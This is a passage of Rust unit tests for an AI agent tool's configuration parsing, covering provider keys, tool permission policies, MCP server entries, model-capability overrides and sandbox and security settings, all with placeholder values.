2583        let tc = TitleConfig {
2584            enabled: false,
2585            provider: Some("openai".to_string()),
2586            model: Some("gpt-5.4-mini".to_string()),
2587        };
2588        let json = serde_json::to_string(&tc).unwrap();
2589        let back: TitleConfig = serde_json::from_str(&json).unwrap();
2590        assert!(!back.enabled);
2591        assert_eq!(back.provider.as_deref(), Some("openai"));
2592        assert_eq!(back.model.as_deref(), Some("gpt-5.4-mini"));
2593    }
2594
2595    // ─── ToolPolicy ────────────────────────────────────────────────────────
2596
2597    #[test]
2598    fn tool_policy_default_is_ask() {
2599        let policy = ToolPolicy::default();
2600        assert_eq!(policy, ToolPolicy::Ask);
2601    }
2602
2603    #[test]
2604    fn tool_policy_serde_roundtrip() {
2605        for policy in [ToolPolicy::Allow, ToolPolicy::Ask, ToolPolicy::Deny] {
2606            let json = serde_json::to_string(&policy).unwrap();
2607            let back: ToolPolicy = serde_json::from_str(&json).unwrap();
2608            assert_eq!(policy, back);
2609        }
2610    }
2611
2612    #[test]
2613    fn tool_policy_snake_case_serialization() {
2614        assert_eq!(
2615            serde_json::to_string(&ToolPolicy::Allow).unwrap(),
2616            "\"allow\""
2617        );
2618        assert_eq!(serde_json::to_string(&ToolPolicy::Ask).unwrap(), "\"ask\"");
2619        assert_eq!(
2620            serde_json::to_string(&ToolPolicy::Deny).unwrap(),
2621            "\"deny\""
2622        );
2623    }
2624
2625    // ─── Config TOML parsing ───────────────────────────────────────────────
2626
2627    #[test]
2628    fn config_from_toml_with_all_fields() {
2629        let toml_content = r#"
2630default_provider = "openai"
2631openrouter_api_key = "sk-or-test"
2632ollama_base_url = "http://my-ollama:11434"
2633default_model = "gpt-5"
2634agent_paths = []
2635
2636[providers]
2637anthropic_api_key = "sk-ant-test"
2638openai_api_key = "sk-test"
2639google_api_key = "AIza-test"
2640
2641[tool_permissions]
2642bash = "deny"
2643read_file = "allow"
2644
2645[title]
2646enabled = false
2647provider = "anthropic"
2648model = "claude-haiku-4-5"
2649"#;
2650        let config: Config = toml::from_str(toml_content).unwrap();
2651        assert_eq!(config.default_provider, "openai");
2652        assert_eq!(
2653            config.providers.anthropic_api_key.as_deref(),
2654            Some("sk-ant-test")
2655        );
2656        assert_eq!(config.providers.openai_api_key.as_deref(), Some("sk-test"));
2657        assert_eq!(
2658            config.providers.google_api_key.as_deref(),
2659            Some("AIza-test")
2660        );
2661        assert_eq!(config.openrouter_api_key.as_deref(), Some("sk-or-test"));
2662        assert_eq!(
2663            config.ollama_base_url.as_deref(),
2664            Some("http://my-ollama:11434")
2665        );
2666        assert_eq!(config.default_model.as_deref(), Some("gpt-5"));
2667        assert!(!config.title.enabled);
2668        assert_eq!(config.tool_permissions.get("bash"), Some(&ToolPolicy::Deny));
2669        assert_eq!(
2670            config.tool_permissions.get("read_file"),
2671            Some(&ToolPolicy::Allow)
2672        );
2673    }
2674
2675    #[test]
2676    fn config_from_minimal_toml() {
2677        let toml_content = r#"
2678default_provider = "anthropic"
2679agent_paths = []
2680
2681[providers]
2682"#;
2683        let config: Config = toml::from_str(toml_content).unwrap();
2684        assert_eq!(config.default_provider, "anthropic");
2685        assert!(config.providers.anthropic_api_key.is_none());
2686    }
2687
2688    #[test]
2689    fn the_three_lines_that_point_leviath_at_openrouter_are_enough() {
2690        // What a user writes by hand after reading the OpenRouter docs. Every
2691        // field on Config used to be required, so this failed with `missing
2692        // field `providers`` - a table they have no reason to know about, in a
2693        // message that says nothing about what to add.
2694        let config: Config = toml::from_str(
2695            r#"
2696default_provider = "openrouter"
2697default_model = "openai/gpt-4o-mini"
2698openrouter_api_key = "sk-or-test"
2699"#,
2700        )
2701        .expect("a hand-written OpenRouter config parses");
2702        assert_eq!(config.default_provider, "openrouter");
2703        assert_eq!(config.openrouter_api_key.as_deref(), Some("sk-or-test"));
2704        assert_eq!(config.default_model.as_deref(), Some("openai/gpt-4o-mini"));
2705    }
2706
2707    #[test]
2708    fn an_empty_config_file_parses_to_the_defaults() {
2709        // Pins the serde defaults against `Config::default` in both
2710        // directions: a field that gains one but not the other means a fresh
2711        // file and a fresh struct disagree about the same install.
2712        let parsed: Config = toml::from_str("").expect("an empty config parses");
2713        let default = Config::default();
2714        assert_eq!(parsed.default_provider, default.default_provider);
2715        assert_eq!(parsed.agent_paths, default.agent_paths);
2716        assert_eq!(parsed.openrouter_api_key, default.openrouter_api_key);
2717        assert_eq!(parsed.ollama_base_url, default.ollama_base_url);
2718        assert_eq!(parsed.default_model, default.default_model);
2719        assert_eq!(parsed.request_timeout_secs, default.request_timeout_secs);
2720        assert_eq!(
2721            parsed.providers.anthropic_api_key,
2722            default.providers.anthropic_api_key
2723        );
2724        assert_eq!(
2725            parsed.providers.claude_code_enabled,
2726            default.providers.claude_code_enabled
2727        );
2728    }
2729
2730    #[test]
2731    fn config_from_toml_with_mcp_servers() {
2732        let toml_content = r#"
2733default_provider = "anthropic"
2734agent_paths = []
2735
2736[providers]
2737
2738[[mcp_servers]]
2739name = "test-server"
2740command = "echo"
2741args = ["hello"]
2742"#;
2743        let config: Config = toml::from_str(toml_content).unwrap();
2744        assert_eq!(config.mcp_servers.len(), 1);
2745        assert_eq!(config.mcp_servers[0].name, "test-server");
2746    }
2747
2748    #[test]
2749    fn load_rejects_a_malformed_mcp_server_entry() {
2750        // An entry with neither `command` nor `url` can never connect, so it
2751        // must fail at load - naming the server - rather than silently drop its
2752        // tools until the first call.
2753        let dir = tempfile::tempdir().unwrap();
2754        let path = dir.path().join("config.toml");
2755        std::fs::write(
2756            &path,
2757            r#"
2758default_provider = "anthropic"
2759agent_paths = []
2760
2761[providers]
2762
2763[[mcp_servers]]
2764name = "broken"
2765"#,
2766        )
2767        .unwrap();
2768
2769        let err = Config::load_from_path(&path).expect_err("malformed entry must fail load");
2770        let msg = err.to_string();
2771        assert!(msg.contains("broken"), "must name the server: {msg}");
2772    }
2773
2774    #[test]
2775    fn load_accepts_a_well_formed_http_mcp_server() {
2776        let dir = tempfile::tempdir().unwrap();
2777        let path = dir.path().join("config.toml");
2778        std::fs::write(
2779            &path,
2780            r#"
2781default_provider = "anthropic"
2782agent_paths = []
2783
2784[providers]
2785
2786[[mcp_servers]]
2787name = "remote"
2788url = "https://mcp.example.com/mcp"
2789"#,
2790        )
2791        .unwrap();
2792
2793        let config = Config::load_from_path(&path).expect("valid http entry should load");
2794        assert_eq!(
2795            config.mcp_servers[0].url.as_deref(),
2796            Some("https://mcp.example.com/mcp")
2797        );
2798    }
2799
2800    #[test]
2801    fn config_from_toml_with_model_capabilities() {
2802        // A one-field entry, which is what someone correcting a wrong context
2803        // window actually writes. It used to fail to deserialize and be dropped
2804        // in silence (#338); now it parses and names only that field, so
2805        // everything it did not mention comes from the provider.
2806        let toml = r#"
2807[model_capabilities."my-custom-model"]
2808max_context_tokens = 1048576
2809"#;
2810        let config: Config = toml::from_str(toml).expect("a partial entry parses");
2811        let entry = config
2812            .model_capabilities
2813            .get("my-custom-model")
2814            .expect("the entry survives");
2815        assert_eq!(entry.max_context_tokens, Some(1_048_576));
2816        assert_eq!(
2817            entry.max_output_tokens, None,
2818            "an unmentioned field stays unset rather than defaulting"
2819        );
2820        assert_eq!(entry.supports_tools, None);
2821    }
2822
2823    /// A misspelled key is refused rather than ignored, so a typo cannot look
2824    /// like a working override.
2825    #[test]
2826    fn config_model_capabilities_rejects_an_unknown_key() {
2827        let toml = r#"
2828[model_capabilities."my-custom-model"]
2829max_contxt_tokens = 1048576
2830"#;
2831        assert!(toml::from_str::<Config>(toml).is_err());
2832    }
2833
2834    #[test]
2835    fn validate_keys_is_quiet_about_blank_keys() {
2836        let mut config = Config::default();
2837        config.providers.anthropic_api_key = Some(String::new());
2838        config.providers.openai_api_key = Some("   ".to_string());
2839        assert!(config.validate_keys().is_empty());
2840        // A genuinely wrong-looking key still warns.
2841        config.providers.anthropic_api_key = Some("nope".to_string());
2842        assert_eq!(config.validate_keys().len(), 1);
2843    }
2844
2845    #[test]
2846    fn validate_keys_both_bad() {
2847        let config = Config {
2848            providers: ProviderConfig {
2849                anthropic_api_key: Some("bad".to_string()),
2850                openai_api_key: Some("bad".to_string()),
2851                google_api_key: None,
2852                claude_code_enabled: false,
2853                claude_code_binary: None,
2854                claude_code_effort: None,
2855                anthropic_cache_ttl: None,
2856                fallback_order: Vec::new(),
2857            },
2858            ..Config::default()
2859        };
2860        let warnings = config.validate_keys();
2861        assert_eq!(warnings.len(), 2);
2862    }
2863
2864    // ─── config_path ───────────────────────────────────────────────────────
2865
2866    #[test]
2867    fn config_path_contains_leviath() {
2868        // Force `LEVIATH_CONFIG_PATH` unset (via `temp_env::with_var_unset`,
2869        // which also serializes against every other temp-env test) so
2870        // `config_path()` resolves to the real default, not a concurrently-set
2871        // override.
2872        temp_env::with_var_unset("LEVIATH_CONFIG_PATH", || {
2873            let path = Config::config_path();
2874            assert!(path.to_str().unwrap().contains(".leviath"));
2875            assert!(path.to_str().unwrap().ends_with("config.toml"));
2876        });
2877    }
2878
2879    // ─── Config save/load roundtrip ────────────────────────────────────────
2880
2881    #[test]
2882    fn config_toml_roundtrip() {
2883        let config = Config {
2884            default_provider: "openai".to_string(),
2885            providers: ProviderConfig {
2886                anthropic_api_key: Some("sk-ant-key".to_string()),
2887                openai_api_key: None,
2888                google_api_key: None,
2889                claude_code_enabled: false,
2890                claude_code_binary: None,
2891                claude_code_effort: None,
2892                anthropic_cache_ttl: None,
2893                fallback_order: Vec::new(),
2894            },
2895            tool_permissions: {
2896                let mut m = HashMap::new();
2897                m.insert("bash".to_string(), ToolPolicy::Deny);
2898                m
2899            },
2900            ..Config::default()
2901        };
2902
2903        let serialized = toml::to_string_pretty(&config).unwrap();
2904        let deserialized: Config = toml::from_str(&serialized).unwrap();
2905        assert_eq!(deserialized.default_provider, "openai");
2906        assert_eq!(
2907            deserialized.providers.anthropic_api_key.as_deref(),
2908            Some("sk-ant-key")
2909        );
2910        assert_eq!(
2911            deserialized.tool_permissions.get("bash"),
2912            Some(&ToolPolicy::Deny)
2913        );
2914    }
2915
2916    // ─── validate_keys: both keys valid ──────────────────────────────────
2917
2918    #[test]
2919    fn validate_keys_both_valid() {
2920        let config = Config {
2921            providers: ProviderConfig {
2922                anthropic_api_key: Some("sk-ant-good-key".to_string()),
2923                openai_api_key: Some("sk-good-key".to_string()),
2924                google_api_key: None,
2925                claude_code_enabled: false,
2926                claude_code_binary: None,
2927                claude_code_effort: None,
2928                anthropic_cache_ttl: None,
2929                fallback_order: Vec::new(),
2930            },
2931            ..Config::default()
2932        };
2933        assert!(config.validate_keys().is_empty());
2934    }
2935
2936    // ─── validate_keys: google key has no validation ─────────────────────
2937
2938    #[test]
2939    fn validate_keys_google_key_not_validated() {
2940        let config = Config {
2941            providers: ProviderConfig {
2942                anthropic_api_key: None,
2943                openai_api_key: None,
2944                google_api_key: Some("anything-goes".to_string()),
2945                claude_code_enabled: false,
2946                claude_code_binary: None,
2947                claude_code_effort: None,
2948                anthropic_cache_ttl: None,
2949                fallback_order: Vec::new(),
2950            },
2951            ..Config::default()
2952        };
2953        // Google key has no prefix validation
2954        assert!(config.validate_keys().is_empty());
2955    }
2956
2957    // ─── Config TOML parsing: registries ─────────────────────────────────
2958
2959    #[test]
2960    fn config_from_toml_custom_registries() {
2961        let toml_content = r#"
2962default_provider = "anthropic"
2963agent_paths = ["/my/agents"]
2964
2965[providers]
2966"#;
2967        let config: Config = toml::from_str(toml_content).unwrap();
2968        assert_eq!(config.agent_paths.len(), 1);
2969    }
2970
2971    // ─── Config save writes file ─────────────────────────────────────────
2972
2973    #[test]
2974    fn config_save_creates_file() {
2975        let dir = tempfile::tempdir().unwrap();
2976        let config_path = dir.path().join("subdir").join("config.toml");
2977        // We can't easily test Config::save() because it uses a fixed path,
2978        // but we can test the serialization and write manually
2979        let config = Config::default();
2980        let content = toml::to_string_pretty(&config).unwrap();
2981        std::fs::create_dir_all(config_path.parent().unwrap()).unwrap();
2982        std::fs::write(&config_path, &content).unwrap();
2983        assert!(config_path.exists());
2984        let loaded_content = std::fs::read_to_string(&config_path).unwrap();
2985        let loaded: Config = toml::from_str(&loaded_content).unwrap();
2986        assert_eq!(loaded.default_provider, "anthropic");
2987    }
2988
2989    // ─── TitleConfig serde from TOML ─────────────────────────────────────
2990
2991    #[test]
2992    fn title_config_from_toml_defaults() {
2993        let toml_content = r#"
2994default_provider = "anthropic"
2995agent_paths = []
2996
2997[providers]
2998"#;
2999        let config: Config = toml::from_str(toml_content).unwrap();
3000        assert!(config.title.enabled);
3001        assert!(config.title.provider.is_none());
3002        assert!(config.title.model.is_none());
3003    }
3004
3005    #[test]
3006    fn title_config_from_toml_disabled() {
3007        let toml_content = r#"
3008default_provider = "anthropic"
3009agent_paths = []
3010
3011[providers]
3012
3013[title]
3014enabled = false
3015"#;
3016        let config: Config = toml::from_str(toml_content).unwrap();
3017        assert!(!config.title.enabled);
3018    }
3019
3020    #[test]
3021    fn title_config_missing_enabled_key_uses_default_true() {
3022        // Unlike `title_config_from_toml_defaults` (which omits the whole
3023        // `[title]` table, falling back to `Config`'s own `#[serde(default)]`
3024        // for the field - never invoking `TitleConfig`'s own per-field
3025        // parsing at all), this includes `[title]` but omits `enabled`
3026        // specifically, forcing serde to deserialize `TitleConfig` field by
3027        // field and fall back to `default_true()` for the missing key.
3028        let toml_content = r#"
3029default_provider = "anthropic"
3030agent_paths = []
3031
3032[providers]
3033
3034[title]
3035provider = "openai"
3036"#;
3037        let config: Config = toml::from_str(toml_content).unwrap();
3038        assert!(config.title.enabled);
3039        assert_eq!(config.title.provider.as_deref(), Some("openai"));
3040    }
3041
3042    // ─── ToolPolicy in tool_permissions ───────────────────────────────────
3043
3044    #[test]
3045    fn config_tool_permissions_allow() {
3046        let toml_content = r#"
3047default_provider = "anthropic"
3048agent_paths = []
3049
3050[providers]
3051
3052[tool_permissions]
3053read_file = "allow"
3054write_file = "ask"
3055bash = "deny"
3056"#;
3057        let config: Config = toml::from_str(toml_content).unwrap();
3058        assert_eq!(
3059            config.tool_permissions.get("read_file"),
3060            Some(&ToolPolicy::Allow)
3061        );
3062        assert_eq!(
3063            config.tool_permissions.get("write_file"),
3064            Some(&ToolPolicy::Ask)
3065        );
3066        assert_eq!(config.tool_permissions.get("bash"), Some(&ToolPolicy::Deny));
3067    }
3068
3069    // ─── Config with agent_paths ─────────────────────────────────────────
3070
3071    #[test]
3072    fn config_with_agent_paths() {
3073        let toml_content = r#"
3074default_provider = "anthropic"
3075agent_paths = ["/home/user/agents", "/opt/agents"]
3076
3077[providers]
3078"#;
3079        let config: Config = toml::from_str(toml_content).unwrap();
3080        assert_eq!(config.agent_paths.len(), 2);
3081    }
3082
3083    // ─── Config load() ────────────────────────────────────────────────────
3084
3085    #[test]
3086    fn config_load_from_nonexistent_path_returns_default() {
3087        // Config::load() uses a fixed path; we can test indirectly by
3088        // verifying defaults are applied when no file exists.
3089        // We can't easily override the path, but we can verify default behavior.
3090        let config = Config::default();
3091        assert_eq!(config.default_provider, "anthropic");
3092        assert!(config.providers.anthropic_api_key.is_none());
3093    }
3094
3095    #[test]
3096    fn config_load_from_toml_string() {
3097        // Test the TOML parsing path of load() by parsing directly.
3098        let toml_content = r#"
3099default_provider = "openai"
3100agent_paths = []
3101
3102[providers]
3103anthropic_api_key = "sk-ant-test-key"
3104"#;
3105        let config: Config = toml::from_str(toml_content).unwrap();
3106        assert_eq!(config.default_provider, "openai");
3107        assert_eq!(
3108            config.providers.anthropic_api_key.as_deref(),
3109            Some("sk-ant-test-key")
3110        );
3111        // No [nudge] section ⇒ every field unset ⇒ built-in defaults apply.
3112        assert_eq!(config.nudge, leviath_core::NudgeConfig::default());
3113    }
3114
3115    #[test]
3116    fn config_parses_partial_nudge_section() {
3117        // A [nudge] section only pins the keys it names.
3118        let config: Config = toml::from_str(
3119            r#"
3120default_provider = "openai"
3121agent_paths = []
3122
3123[providers]
3124
3125[nudge]
3126enabled = false
3127"#,
3128        )
3129        .unwrap();
3130        assert_eq!(config.nudge.enabled, Some(false));
3131        assert_eq!(config.nudge.max, None);
3132        assert_eq!(config.nudge.text, None);
3133    }
3134
3135    #[test]
3136    fn config_save_and_load_with_file() {
3137        // Test Config::save() by writing to a temp location manually.
3138        let dir = tempfile::tempdir().unwrap();
3139        let config_path = dir.path().join("config.toml");
3140
3141        let config = Config {
3142            default_provider: "openai".to_string(),
3143            providers: ProviderConfig {
3144                anthropic_api_key: Some("sk-ant-test".to_string()),
3145                openai_api_key: Some("sk-test".to_string()),
3146                google_api_key: None,
3147                claude_code_enabled: false,
3148                claude_code_binary: None,
3149                claude_code_effort: None,
3150                anthropic_cache_ttl: None,
3151                fallback_order: Vec::new(),
3152            },
3153            openrouter_api_key: Some("sk-or-test".to_string()),
3154            default_model: Some("gpt-5".to_string()),
3155            ..Config::default()
3156        };
3157
3158        let content = toml::to_string_pretty(&config).unwrap();
3159        std::fs::write(&config_path, &content).unwrap();
3160
3161        let loaded_content = std::fs::read_to_string(&config_path).unwrap();
3162        let loaded: Config = toml::from_str(&loaded_content).unwrap();
3163
3164        assert_eq!(loaded.default_provider, "openai");
3165        assert_eq!(
3166            loaded.providers.anthropic_api_key.as_deref(),
3167            Some("sk-ant-test")
3168        );
3169        assert_eq!(loaded.default_model.as_deref(), Some("gpt-5"));
3170    }
3171
3172    #[test]
3173    fn config_create_config_dir_creates_parent() {
3174        let dir = tempfile::tempdir().unwrap();
3175        let new_dir = dir.path().join("nested").join("config");
3176        // create_config_dir is private, but we test indirectly via filesystem
3177        std::fs::create_dir_all(&new_dir).unwrap();
3178        assert!(new_dir.exists());
3179    }
3180
3181    #[test]
3182    fn config_default_title_enabled() {
3183        let config = Config::default();
3184        assert!(config.title.enabled);
3185    }
3186
3187    #[test]
3188    fn config_serialize_with_all_options() {
3189        let mut model_caps = HashMap::new();
3190        model_caps.insert(
3191            "my-model".to_string(),
3192            ModelCapabilityOverride {
3193                supports_temperature: Some(true),
3194                supports_streaming: Some(true),
3195                supports_tools: Some(true),
3196                supports_system_prompt: Some(true),
3197                max_context_tokens: Some(8192),
3198                max_output_tokens: Some(4096),
3199            },
3200        );
3201        let mut tool_perms = HashMap::new();
3202        tool_perms.insert("bash".to_string(), ToolPolicy::Allow);
3203
3204        let config = Config {
3205            default_provider: "anthropic".to_string(),
3206            providers: ProviderConfig {
3207                anthropic_api_key: Some("sk-ant-key".to_string()),
3208                openai_api_key: None,
3209                google_api_key: None,
3210                claude_code_enabled: false,
3211                claude_code_binary: None,
3212                claude_code_effort: None,
3213                anthropic_cache_ttl: None,
3214                fallback_order: Vec::new(),
3215            },
3216            agent_paths: vec![std::path::PathBuf::from("/my/agents")],
3217            openrouter_api_key: None,
3218            ollama_base_url: Some("http://custom:11434".to_string()),
3219            mcp_servers: vec![],
3220            default_model: None,
3221            model_capabilities: model_caps,
3222            model_providers: HashMap::new(),
3223            tool_permissions: tool_perms,
3224            agent_tool_permissions: HashMap::new(),
3225            safe_commands: crate::approvals::SafeCommands::default(),
3226            agent_safe_commands: HashMap::new(),
3227            title: TitleConfig {
3228                enabled: false,
3229                provider: Some("openai".to_string()),
3230                model: Some("gpt-5-mini".to_string()),
3231            },
3232            request_timeout_secs: None,
3233            rate_limits: HashMap::new(),
3234            taint_tracking: false,
3235            limits: LimitsConfig {
3236                mcp_idle_disconnect_secs: default_mcp_idle_disconnect_secs(),
3237                max_tool_call_write_bytes: None,
3238                max_run_write_bytes: None,
3239                max_concurrent_inferences: Some(4),
3240                max_concurrent_tools: 3,
3241                default_max_iterations: Some(99),
3242                exact_token_counting: false,
3243                script_shell_timeout_secs: 45,
3244                stall_timeout_secs: 90,
3245                dead_cycles_before_relief: 6,
3246                finished_retention_secs: 120,
3247                wedge_timeout_secs: 420,
3248                provider_failures_before_open: 5,
3249                provider_circuit_cooldown_secs: 120,
3250                interaction_timeout_secs: 120,
3251                inference_retry_attempts: 6,
3252                inference_retry_base_ms: 250,
3253            },
3254            batch_tool_hint: true,
3255            shell_hint: false,
3256            nudge: leviath_core::NudgeConfig {
3257                enabled: Some(true),
3258                max: Some(2),
3259                text: Some("Use your tools.".to_string()),
3260            },
3261            webhook: WebhookConfig {
3262                max_retries: 5,
3263                base_delay_ms: 250,
3264                max_delay_ms: 10_000,
3265                timeout_secs: 7,
3266            },
3267            observability: ObservabilityConfig {
3268                enabled: true,
3269                exporter: TelemetryExporterKind::Stdout,
3270                endpoint: Some("http://collector:4318".to_string()),
3271                service_name: Some("leviath-prod".to_string()),
3272            },
3273            sandbox: Some(leviath_core::ToolSandboxConfig {
3274                kind: leviath_core::SandboxKind::Container,
3275                image: Some("ubuntu:24.04".to_string()),
3276                network: false,
3277                ..Default::default()
3278            }),
3279            tool_script_permissions: ScriptToolPermissions {
3280                http_get: ScriptPermission::Allow,
3281                http_post: ScriptPermission::Deny,
3282                shell: ScriptPermission::Deny,
3283                read_file: ScriptPermission::Inherit,
3284                write_file: ScriptPermission::Deny,
3285                env_var: ScriptPermission::Allow,
3286            },
3287            security: SecurityConfig {
3288                allowed_workdirs: Vec::new(),
3289                allow_seed_commands: false,
3290                allow_local_network: true,
3291                allow_env_vars: vec!["MY_PROVIDER_KEY".to_string()],
3292                allow_blueprint_read_paths: true,
3293                allow_blueprint_safe_commands: true,
3294                read_paths: vec!["~/.leviath/runs".to_string()],
3295                credential_store: leviath_core::CredentialStoreKind::Keychain,
3296                allow_blueprint_permissions: false,
3297                shell_env: leviath_core::ShellEnvMode::default(),
3298                shell_env_withhold: Vec::new(),
3299            },
3300            agent_read_paths: HashMap::from([(
3301                "cto".to_string(),
3302                ReadPathGrants {
3303                    allow: vec!["glob:~/design-docs/**".to_string()],
3304                },
3305            )]),
3306        };
3307
3308        let serialized = toml::to_string_pretty(&config).unwrap();
3309        let deserialized: Config = toml::from_str(&serialized).unwrap();
3310
3311        assert_eq!(deserialized.default_provider, "anthropic");
3312        assert_eq!(deserialized.limits.max_concurrent_inferences, Some(4));
3313        assert_eq!(deserialized.limits.max_concurrent_tools, 3);
3314        assert_eq!(deserialized.limits.script_shell_timeout_secs, 45);
3315        assert_eq!(deserialized.limits.dead_cycles_before_relief, 6);
3316        assert_eq!(deserialized.limits.finished_retention_secs, 120);
3317        assert_eq!(
3318            deserialized.tool_script_permissions.http_get,
3319            ScriptPermission::Allow
3320        );
3321        assert_eq!(
3322            deserialized.tool_script_permissions.shell,
3323            ScriptPermission::Deny
3324        );
3325        assert_eq!(
3326            deserialized.tool_script_permissions.write_file,
3327            ScriptPermission::Deny
3328        );
3329        // `shell_hint` defaults to true, so a `false` surviving the round trip
3330        // is what proves the field is actually written and read back.
3331        assert!(deserialized.batch_tool_hint);
3332        assert!(!deserialized.shell_hint);
3333        assert!(!deserialized.security.allow_seed_commands);
3334        assert!(deserialized.security.allow_blueprint_read_paths);
3335        assert_eq!(deserialized.security.read_paths, vec!["~/.leviath/runs"]);
3336        assert_eq!(
3337            deserialized.agent_read_paths.get("cto"),
3338            Some(&ReadPathGrants {
3339                allow: vec!["glob:~/design-docs/**".to_string()],
3340            })
3341        );
3342        assert_eq!(
3343            deserialized.nudge,
3344            leviath_core::NudgeConfig {
3345                enabled: Some(true),
3346                max: Some(2),
3347                text: Some("Use your tools.".to_string()),
3348            }
3349        );
3350        assert_eq!(deserialized.webhook.max_retries, 5);
3351        assert_eq!(deserialized.webhook.base_delay_ms, 250);
3352        assert_eq!(deserialized.webhook.max_delay_ms, 10_000);
3353        assert_eq!(deserialized.webhook.timeout_secs, 7);
3354        assert!(deserialized.observability.enabled);
3355        assert_eq!(
3356            deserialized.observability.exporter,
3357            TelemetryExporterKind::Stdout
3358        );
3359        assert_eq!(
3360            deserialized.observability.endpoint.as_deref(),
3361            Some("http://collector:4318")
3362        );
3363        assert_eq!(
3364            deserialized.observability.service_name.as_deref(),
3365            Some("leviath-prod")
3366        );
3367        assert_eq!(deserialized.limits.default_max_iterations, Some(99));
3368        assert_eq!(deserialized.limits.inference_retry_attempts, 6);
3369        assert_eq!(deserialized.limits.inference_retry_base_ms, 250);
3370        assert_eq!(
3371            deserialized.providers.anthropic_api_key.as_deref(),
3372            Some("sk-ant-key")
3373        );
3374        assert_eq!(deserialized.agent_paths.len(), 1);
3375        assert!(deserialized.model_capabilities.contains_key("my-model"));
3376        assert_eq!(
3377            deserialized.tool_permissions.get("bash"),
3378            Some(&ToolPolicy::Allow)
3379        );
3380        assert!(!deserialized.title.enabled);
3381        assert_eq!(deserialized.title.provider.as_deref(), Some("openai"));
3382        let sandbox = deserialized.sandbox.expect("sandbox round-trips");
3383        assert_eq!(sandbox.kind, leviath_core::SandboxKind::Container);
3384        assert_eq!(sandbox.image.as_deref(), Some("ubuntu:24.04"));
3385        assert!(!sandbox.network);
3386    }
3387
3388    // ─── Config with multiple model_capabilities ─────────────────────────
3389
3390    #[test]
3391    fn config_multiple_model_capabilities() {
3392        let toml_content = r#"
3393default_provider = "anthropic"
3394agent_paths = []
3395
3396[providers]
3397
3398[model_capabilities."model-a"]
3399supports_temperature = true
3400supports_streaming = true
3401supports_tools = true
3402supports_system_prompt = true
3403max_context_tokens = 8192
3404max_output_tokens = 4096
3405
3406[model_capabilities."model-b"]
3407supports_temperature = false
3408supports_streaming = false
3409supports_tools = false
3410supports_system_prompt = false
3411max_context_tokens = 2048
3412max_output_tokens = 1024
3413"#;
3414        let config: Config = toml::from_str(toml_content).unwrap();
3415        assert_eq!(config.model_capabilities.len(), 2);
3416        let caps_a = config.model_capabilities.get("model-a").unwrap();
3417        assert_eq!(caps_a.supports_temperature, Some(true));
3418        assert_eq!(caps_a.max_context_tokens, Some(8192));
3419        let caps_b = config.model_capabilities.get("model-b").unwrap();
3420        assert_eq!(caps_b.supports_temperature, Some(false));
3421        assert_eq!(caps_b.max_context_tokens, Some(2048));
3422    }
3423}